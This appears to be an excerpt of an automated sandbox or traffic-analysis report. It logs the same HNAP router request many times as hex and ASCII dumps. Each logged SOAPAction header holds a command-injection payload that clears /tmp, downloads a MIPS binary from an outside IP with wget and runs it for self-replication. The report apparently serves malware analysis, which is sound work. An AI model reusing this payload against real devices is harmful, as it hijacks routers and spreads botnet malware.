50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 